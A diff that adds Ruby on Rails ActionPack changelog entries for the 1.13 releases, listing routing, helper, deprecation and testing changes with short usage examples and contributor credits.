+* Fix send_data documentation typo. #5982 *brad@madriska.com*
+
+* Switch to using FormEncodedPairParser for parsing request parameters. *Nicholas Seckar, David Heinemeier Hansson*
+
+* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. *Tobias Lütke*
+
+* Deprecation: test deprecated instance vars in partials. *Jeremy Kemper*
+
+* Add UrlWriter to allow writing urls from Mailers and scripts. *Nicholas Seckar*
+
+* Clean up and run the Active Record integration tests by default. #5854 *Kevin Clark, Jeremy Kemper*
+
+* Correct example in cookies docs. #5832 *jessemerriman@warpmail.net*
+
+* Updated to script.aculo.us 1.6.2 *Thomas Fuchs*
+
+* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. *Nicholas Seckar*
+
+* Add controller_paths variable to Routing. *Nicholas Seckar*
+
+* Fix assert_redirected_to issue with named routes for module controllers. *Rick Olson*
+
+* Tweak RoutingError message to show option diffs, not just missing named route significant keys. *Rick Olson*
+
+* Invoke method_missing directly on hidden actions. Closes #3030. *Nicholas Seckar*
+
+* Require Tempfile explicitly for TestUploadedFile due to changes in class auto loading. *Rick Olson*
+
+* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. *Rick Olson*
+
+* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
+
+* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. *Jeremy Kemper*
+
+* Add support for the param_name parameter to the auto_complete_field helper. #5026 *david.a.williams@gmail.com*
+
+* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. *Jeremy Kemper*
+
+* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 *François Beausoleil*
+
+* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 *pjhyett@gmail.com*
+
+* Short documentation to mention use of Mime::Type.register. #5710 *choonkeat@gmail.com*
+
+* Make controller_path available as an instance method. #5724 *jmckible@gmail.com*
+
+* Update query parser to support adjacent hashes. *Nicholas Seckar*
+
+* Make action caching aware of different formats for the same action so that, e.g. foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. *Marcel Molina Jr.*
+
+* Restrict Request Method hacking with ?_method to POST requests. *Rick Olson*
+
+* Fix bug when passing multiple options to SimplyRestful, like :new => { :preview => :get, :draft => :get }. *Rick Olson, Josh Susser, Lars Pind*
+
+* Dup the options passed to map.resources so that multiple resources get the same options. *Rick Olson*
+
+* Fixed the new_#{resource}_url route and added named route tests for Simply Restful. *Rick Olson*
+
+* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
+
+ map.resources :messages
+ map.resources :messages, :comments
+ map.resources :messages, :new => { :preview => :post }
+
+* Fixed that integration simulation of XHRs should set Accept header as well *Edward Frederick*
+
+* TestRequest#reset_session should restore a TestSession, not a hash *Michael Koziarski*
+
+* Don't search a load-path of '.' for controller files *Jamis Buck*
+
+* Update integration.rb to require test_process explicitly instead of via Dependencies. *Nicholas Seckar*
+
+* Fixed that you can still access the flash after the flash has been reset in reset_session. Closes #5584 *lmarlow*
+
+* Allow form_for and fields_for to work with indexed form inputs. *Jeremy Kemper, Matt Lyon*
+
+ <% form_for 'post[]', @post do |f| -%>
+ <% end -%>
+
+* Remove leak in development mode by replacing define_method with module_eval. *Nicholas Seckar*
+
+* Provide support for decimal columns to form helpers. Closes #5672. *Dave Thomas*
+
+* Update documentation for erb trim syntax. #5651 *matt@mattmargolis.net*
+
+* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 *olivier_ansaldi@yahoo.com*
+
+* Reset @html_document between requests so assert_tag works. #4810 *Jarkko Laine, easleydp@gmail.com*
+
+* Update render :partial documentation. #5646 *matt@mattmargolis.net*
+
+* Integration tests behave well with render_component. #4632 *edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com*
+
+* Added exception handling of missing layouts #5373 *chris@ozmm.org*
+
+* Fixed that real files and symlinks should be treated the same when compiling templates #5438 *zachary@panandscan.com*
+
+* Fixed that the flash should be reset when reset_session is called #5584 *Shugo Maeda*
+
+* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 *murpyh@rubychan.de*
+
+* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) *David Heinemeier Hansson*
+
+* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. *Nicholas Seckar*
+
+* Avoid naming collision among compiled view methods. *Jeremy Kemper*
+
+* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 *Mislav Marohnić*
+
+* Determine the correct template_root for deeply nested components. #2841 *s.brink@web.de*
+
+* Fix that routes with *path segments in the recall can generate URLs. *Rick Olson*
+
+* Fix strip_links so that it doesn't hang on multiline <acronym> tags *Jamis Buck*
+
+* Remove problematic control chars in rescue template. #5316 *Stefan Kaes*
+
+* Make sure passed routing options are not mutated by routing code. #5314 *Blair Zajac*
+
+* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. *Jamis Buck*
+
+* Escape the path before routing recognition. #3671
+
+* Make sure :id and friends are unescaped properly. #5275 *me@julik.nl*
+
+* Fix documentation for with_routing to reflect new reality. #5281 *rramdas@gmail.com*
+
+* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form). #210 *mklame@atxeu.com, matthew@walker.wattle.id.au*
+
+* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types *David Heinemeier Hansson*
+
+* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
+
+* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
+
+* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
+
+* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. *Nicholas Seckar, Jamis Buck*
+
+ map.connect '/foo/:id', :controller => '...', :action => '...'
+ map.connect '/foo/:id.:format', :controller => '...', :action => '...'
+ map.connect '/foo/:id', ..., :conditions => { :method => :get }
+
+* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. *Jeremy Kemper*
+
+* Accept multipart PUT parameters. #5235 *guy.naor@famundo.com*
+
+* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
+
+ class WeblogController < ActionController::Base
+ def index
+ @posts = Post.find :all
+
+ respond_to do |format|
+ format.html
+ format.xml { render :xml => @posts.to_xml }
+ format.rss { render :action => "feed.rxml" }
+ end
+ end
+ end
+
+ \# returns HTML when requested by a browser, since the browser
+ \# has the HTML mimetype at the top of its priority list
+ Accept: text/html
+ GET /weblog
+
+ \# returns the XML
+ Accept: application/xml
+ GET /weblog
+
+ \# returns the HTML
+ Accept: application/xml
+ GET /weblog.html
+
+ \# returns the XML
+ Accept: text/html
+ GET /weblog.xml
+
+ All this relies on the fact that you have a route that includes .:format.
+
+* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post *David Heinemeier Hansson*
+
+* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete *David Heinemeier Hansson*
+
+* follow_redirect doesn't complain about being redirected to the same controller. #5153 *dymo@mk.ukrtelecom.ua*
+
+* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. *Kevin Clark*
+
+* Fix NoMethodError when parsing params like &&. *Adam Greenfield*
+
+* Fix flip flopped logic in docs for url_for's :only_path option. Closes #4998. *esad@esse.at*
+
+* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10"). *Jeremy Kemper*
+
+* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 *anonymous*
+
+* Small fix in routing to allow dynamic routes (broken after [4242]) *Rick Olson*
+
+ map.connect '*path', :controller => 'files', :action => 'show'
+
+* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Use #flush between switching from #write to #syswrite. Closes #4907. *Blair Zajac <blair@orcaware.com>*
+
+* Documentation fix: integration test scripts don't require integration_test. Closes #4914. *Frederick Ros <sl33p3r@free.fr>*
+
+* ActionController::Base Summary documentation rewrite. Closes #4900. *Kevin Clark*
+
+* Fix text_helper.rb documentation rendering. Closes #4725. *Frederick Ros*
+
+* Fixes bad rendering of JavaScriptMacrosHelper rdoc (closes #4910) *Frederick Ros*
+
+* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. *andrew@redlinesoftware.com, Marcel Molina Jr.*
+
+ error_messages_for :account, :user, :subscription, :object_name => :account
+
+* Enhance documentation for setting headers in integration tests. Skip auto HTTP prepending when its already there. Closes #4079. *Rick Olson*
+
+* Documentation for AbstractRequest. Closes #4895. *Kevin Clark*
+
+* Refactor various InstanceTag instance method to class methods. Closes #4800. *Stefan Kaes*
+
+* Remove all remaining references to @params in the documentation. *Marcel Molina Jr.*
+
+* Add documentation for redirect_to :back's RedirectBackError exception. *Marcel Molina Jr.*
+
+* Update layout and content_for documentation to use yield rather than magic @content_for instance variables. *Marcel Molina Jr.*
+
+* Fix assert_redirected_to tests according to real-world usage. Also, don't fail if you add an extra :controller option: *Rick Olson*
+
+ redirect_to :action => 'new'
+ assert_redirected_to :controller => 'monkeys', :action => 'new'
+
+* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. *Rick Olson*
+
+* Diff compared routing options. Allow #assert_recognizes to take a second arg as a hash to specify optional request method *Rick Olson*
+
+ assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
+ assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
+
+* Diff compared options with #assert_redirected_to *Rick Olson*
+
+* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action *Jamis Buck*
+
+* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. *zraii@comcast.net, Sam Stephenson*
+
+* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for *David Heinemeier Hansson*
+
+* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. *Jamis Buck*
+
+* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. *Sam Stephenson*
+ ex. verify :only => :speak, :method => :post,
+ :render => { :status => 405, :text => "Must be post" },
+ :add_headers => { "Allow" => "POST" }
+
+* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled #1897 *jeremye@bsa.ca.gov*
+
+
+## 1.13.3 (March 12th, 2007) ##
+
+* Apply [5709] to stable.
+
+* session_enabled? works with session :off. #6680 *Jonathan del Strother*
+
+* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id. *Stefan Kaes*
+
+
+## 1.13.2 (February 5th, 2007) ##
+
+* Add much-needed html-scanner tests. Fixed CDATA parsing bug. *Rick Olson*
+
+* improve error message for Routing for named routes. *Rob Sanheim*
+
+* Added enhanced docs to routing assertions. *Rob Sanheim*
+
+* fix form_for example in ActionController::Resources documentation. *gnarg*
+
+* Add singleton resources from trunk *Rick Olson*
+
+* select :multiple => true suffixes the attribute name with [] unless already suffixed. #6977 *nik.kakelin, ben, julik*
+
+* Improve routes documentation. #7095 *zackchandler*
+
+* Resource member routes require :id, eliminating the ambiguous overlap with collection routes. #7229 *dkubb*
+
+* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 *ceefour*
+
+* Autolinking recognizes trailing and embedded . , : ; #7354 *Jarkko Laine*
+
+* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268. *imajes*
+
+* Improved auto_link to match more valid urls correctly *Tobias Lütke*
+
+
+## 1.13.1 (January 18th, 2007) ##
+
+* Fixed content-type bug in Prototype *sam*
+
+
+## 1.13.0 (January 16th, 2007) ##
+
+* Modernize cookie testing code, and increase coverage (Heckle++) #7101 *Kevin Clark*
+
+* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 *Kevin Clark*
+
+* Update to Prototype 1.5.0. *Sam Stephenson*
+
+* Allow exempt_from_layout :rhtml. #6742, #7026 *Dan Manges, Squeegy*
+
+* Fix parsing of array[] CGI parameters so extra empty values aren't included. #6252 *Nicholas Seckar, aiwilliams, brentrowland*
+
+* link_to_unless_current works with full URLs as well as paths. #6891 *Jarkko Laine, Manfred Stienstra, idrifter*
+
+* Fix HTML::Node to output double quotes instead of single quotes. Closes #6845 *mitreandy*
+
+* Fix no method error with error_messages_on. Closes #6935 *nik.wakelin Koz*
+
+* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs. Closes #6922 *Steven Bristol*
+
+* Slight doc tweak to #prepend_filter. Closes #6493 *Jeremy Voorhis*
+
+* Add more extensive documentation to the AssetTagHelper. Closes #6452 *Bob Silva*
+
+* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper. Closes #6394 *Bob Silva*
+
+* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 *Jan Prill*
+
+* Make sure html_document is reset between integration test requests. *ctm*
+
+* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError. *Josh Susser*
+
+* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting. Closes #6128. *Rick Olson*
+
+* Ensure render :json => ... skips the layout. #6808 *Josh Peek*
+
+* Silence log_error deprecation warnings from inspecting deprecated instance variables. *Nate Wiger*
+
+* Only cache GET requests with a 200 OK response. #6514, #6743 *RSL, anamba*
+
+* Correctly report which filter halted the chain. #6699 *Martin Emde*
+
+* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument. #4185 *Scott Raymond, eventualbuddha*
+ # application/json response with body 'Element.show({:name: "David"})'
+ respond_to do |format|
+ format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
+ end
+
+* Makes :discard_year work without breaking multi-attribute parsing in AR. #1260, #3800 *sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva*
+
+* Adds html id attribute to date helper elements. #1050, #1382 *mortonda@dgrmm.net, David North, Bob Silva*
+
+* Add :index and @auto_index capability to model driven date/time selects. #847, #2655 *moriq, Doug Fales, Bob Silva*
+
+* Add :order to datetime_select, select_datetime, and select_date. #1427 *Timothee Peignier, Patrick Lenz, Bob Silva*
+
+* Added time_select to work with time values in models. Update scaffolding. #2489, #2833 *Justin Palmer, Andre Caum, Bob Silva*
+
+* Added :include_seconds to select_datetime, datetime_select and time_select. #2998 *csn, Bob Silva*
+
+* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization. #363 *tomasj, Bob Silva*
+
+* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC. #3811 *Bob Silva*
+
+* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status. *Jeremy Kemper*
+
+* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) *David Heinemeier Hansson*
+
+* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 *David Heinemeier Hansson*
+
+
+## 1.13.0 RC1 (r5619, November 22nd, 2006) ##
+
+* Update Routing to complain when :controller is not specified by a route. Closes #6669. *Nicholas Seckar*
+
+* Ensure render_to_string cleans up after itself when an exception is raised. #6658 *rsanheim*
+
+* Update to Prototype and script.aculo.us [5579]. *Sam Stephenson, Thomas Fuchs*
+
+* simple_format helper doesn't choke on nil. #6644 *jerry426*
+
+* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. *Nicholas Seckar*
+
+* Deprecate standalone components. *Jeremy Kemper*
+
+* Always clear model associations from session. #4795 *sd@notso.net, andylien@gmail.com*
+
+* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. *Sam Stephenson*
+
+* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes. #6586 *dkubb*
+
+* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename. #6401 *Andreas Schwarz, Jeremy Kemper*
+
+* assert_response supports symbolic status codes. #6569 *Kevin Clark*
+ assert_response :ok
+ assert_response :not_found
+ assert_response :forbidden
+
+* Cache parsed query parameters. #6559 *Stefan Kaes*
+
+* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS *Thomas Fuchs*
+
+* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing. #6524 *Bob Silva*
+
+* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods. *Jeremy Kemper*
+
+* Deprecate expire_matched_fragments. Use expire_fragment instead. #6535 *Bob Silva*
+
+* Deprecate start_form_tag and end_form_tag. Use form_tag / '</form>' from now on. *Rick Olson*
+
+* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag *Rick Olson*
+
+* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs. *Rick Olson*
+
+* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
+
+ <% content_tag :div, :class => "strong" %>
+ Hello world!
+ <% end %>
+
+ Will output:
+ <div class="strong">Hello world!</div>
+
+* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 *Bob Silva*
+
+* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 *Bob Silva*
+
+* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 *Bob Silva/chrismear*
+
+* Force *_url named routes to show the host in ActionView *Rick Olson*
+
+ <%= url_for ... %> # no host
+ <%= foo_path %> # no host
+ <%= foo_url %> # host!
+
+* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. *Sam Stephenson*
+
+* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. *Sam Stephenson*
+
+* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone. Fix button_to double-escaping issue. *Rick Olson*
+
+* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. *Rick Olson*
+
+* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
+
+* Fix broken assert_generates when extra keys are being checked. *Jamis Buck*
+
+* Replace KCODE checks with String#chars for truncate. Closes #6385 *Manfred Stienstra*
+
+* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'. *Marcel Molina Jr.*
+
+* Use String#chars in TextHelper::excerpt. Closes #6386 *Manfred Stienstra*
+
+* Fix relative URL root matching problems. *Mark Imbriaco*
+
+* Fix filter skipping in controller subclasses. #5949, #6297, #6299 *Martin Emde*
+
+* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API). *Jeremy Kemper*
+
+* Rename test assertion to prevent shadowing. Closes #6306. *psross*
+
+* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 *Philip Hallstrom*
+
+* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 *evansj*
+
+* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
+
+ update_page_tag :defer => 'true' { |page| ... }
+
+ Gives:
+
+ <script defer="true" type="text/javascript">...</script>
+
+ Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
+
+* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 *Mike Naberezny*
+
+* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 *sven@c3d2.de*
+
+* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 *cmselmer*
+
+* respond_to :html doesn't assume .rhtml. #6281 *Hampton Catlin*
+
+* Fixed some deprecation warnings in ActionPack *Rick Olson*
+
+* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them. #6240 *japgolly*
+
+* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead. *Jeremy Kemper*
+
+* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
+
+ head :status => 404 # expands to "404 Not Found"
+ head :status => :not_found # expands to "404 Not Found"
+ head :status => :created # expands to "201 Created"
+
+* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
+
+ head :status => 404 # return an empty response with a 404 status
+ head :location => person_path(@person), :status => 201
+
+* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain. *Rick Olson*
+
+* strip_links is case-insensitive. #6285 *tagoh, Bob Silva*
+
+* Clear the cache of possible controllers whenever Routes are reloaded. *Nicholas Seckar*
+
+* Filters overhaul including meantime filter support using around filters + blocks. #5949 *Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper*
+
+* Update CGI process to allow sessions to contain namespaced models. Closes #4638. *dfelstead@site5.com*
+
+* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. *Nicholas Seckar*
+
+* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability. #3368, #6226 *sdsykes, fhanshaw@vesaria.com*
+
+* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
+
+ respond_to do |format|
+ format.html { render :text => "I'm being sent as text/html" }
+ format.rss { render :text => "I'm being sent as application/rss+xml" }
+ format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
+ end
+
+* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) *David Heinemeier Hansson*
+
+* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
+
+ response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
+
+ ...now:
+
+ response.content_type = Mime::ATOM
+ response.charset = "utf-8"
+
+* Declare file extensions exempt from layouts. #6219 *brandon*
+ Example: ActionController::Base.exempt_from_layout 'rpdf'
+
+* Add chained replace/update support for assert_select_rjs *Rick Olson*
+
+ Given RJS like...
+
+ page['test1'].replace "<div id=\"1\">foo</div>"
+ page['test2'].replace_html "<div id=\"2\">foo</div>"
+
+ Test it with...
+
+ assert_select_rjs :chained_replace
+ assert_select_rjs :chained_replace, "test1"
+
+ assert_select_rjs :chained_replace_html
+ assert_select_rjs :chained_replace_html, "test2"
+
+* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency. #6132, #6178 *choonkeat@gmail.com*
+
+* Skip params with empty names, such as the &=Save query string from <input type="submit"/>. #2569 *Manfred Stienstra, raphinou@yahoo.com*
+
+* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 *Eric Hodel*
+
+* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids, #6068 *petermichaux@gmail.com*
+
+* Update UrlWriter to support :only_path. *Nicholas Seckar, Dave Thomas*
+
+* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
+
+ link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
+
+ ...can be written like this:
+
+ link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
+
+* Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
+
+ page['foo']['style'] # => $('foo').style;
+ page['foo']['style']['color'] # => $('blank_slate').style.color;
+ page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
+ page['foo']['style'].color = 'red' # => $('blank_slate').style.color = 'red';
+
+* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) *eule@space.ch*
+
+* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension *David Heinemeier Hansson*
+
+* Fixed FormOptionsHelper#select to respect :selected value #5813
+
+* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 *moriq@moriq.com*
+
+* Fixed TextHelper#pluralize to handle 1 as a string #5909 *rails@bencurtis.com*
+
+* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 *Bob Silva*
+
+* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" *David Heinemeier Hansson*
+
+* Added deprecation language for pagination which will become a plugin by Rails 2.0 *David Heinemeier Hansson*
+
+* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 *David Heinemeier Hansson*
+
+* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support *David Heinemeier Hansson*
+
+* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 *assaf.arkin@gmail.com*
+
+* radio_button_tag generates unique id attributes. #3353 *Bob Silva, somekool@gmail.com*
+
+* strip_tags passes through blank args such as nil or "". #2229, #6702 *duncan@whomwah.com, dharana*
+
+* Cleanup assert_tag :children counting. #2181 *jamie@bravenet.com*
+
+* button_to accepts :method so you can PUT and DELETE with it. #6005 *Dan Webb*
+
+* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">. *Rick Olson*
+
+* Add routing tests to assert that RoutingError is raised when conditions aren't met. Closes #6016 *Nathan Witmer*
+
+* Make auto_link parse a greater subset of valid url formats. *Jamis Buck*
+
+* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. *Mike Clark*
+
+* Switch to using FormEncodedPairParser for parsing request parameters. *Nicholas Seckar, David Heinemeier Hansson*
+
+* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. *Tobias Lütke*
+
+* Deprecation: test deprecated instance vars in partials. *Jeremy Kemper*
+
+* Add UrlWriter to allow writing urls from Mailers and scripts. *Nicholas Seckar*
+
+* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. *Nicholas Seckar*
+
+* Add controller_paths variable to Routing. *Nicholas Seckar*
+
+* Fix assert_redirected_to issue with named routes for module controllers. *Rick Olson*
+
+* Tweak RoutingError message to show option diffs, not just missing named route significant keys. *Rick Olson*
+
+* Invoke method_missing directly on hidden actions. Closes #3030. *Nicholas Seckar*
+
+* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. *Rick Olson*
+
+* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
+
+* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. *Jeremy Kemper*
+
+* Add support for the param_name parameter to the auto_complete_field helper. #5026 *david.a.williams@gmail.com*
+
+* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. *Jeremy Kemper*
+
+* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 *François Beausoleil*
+
+* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 *pjhyett@gmail.com*
+
+* Make controller_path available as an instance method. #5724 *jmckible@gmail.com*
+
+* Update query parser to support adjacent hashes. *Nicholas Seckar*
+
+* Make action caching aware of different formats for the same action so that, e.g. foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. *Marcel Molina Jr.*
+
+* Restrict Request Method hacking with ?_method to POST requests. *Rick Olson*
+
+* Fixed the new_#{resource}_url route and added named route tests for Simply Restful. *Rick Olson*
+
+* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
+
+ map.resources :messages
+ map.resources :messages, :comments
+ map.resources :messages, :new => { :preview => :post }
+
+* Fixed that integration simulation of XHRs should set Accept header as well *Edward Frederick*
+
+* TestRequest#reset_session should restore a TestSession, not a hash *Michael Koziarski*
+
+* Don't search a load-path of '.' for controller files *Jamis Buck*
+
+* Update integration.rb to require test_process explicitly instead of via Dependencies. *Nicholas Seckar*
+
+* Fixed that you can still access the flash after the flash has been reset in reset_session. Closes #5584 *lmarlow*
+
+* Allow form_for and fields_for to work with indexed form inputs. *Jeremy Kemper, Matt Lyon*
+
+ <% form_for 'post[]', @post do |f| -%>
+ <% end -%>
+
+* Remove leak in development mode by replacing define_method with module_eval. *Nicholas Seckar*
+
+* Provide support for decimal columns to form helpers. Closes #5672. *Dave Thomas*
+
+* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 *olivier_ansaldi@yahoo.com*
+
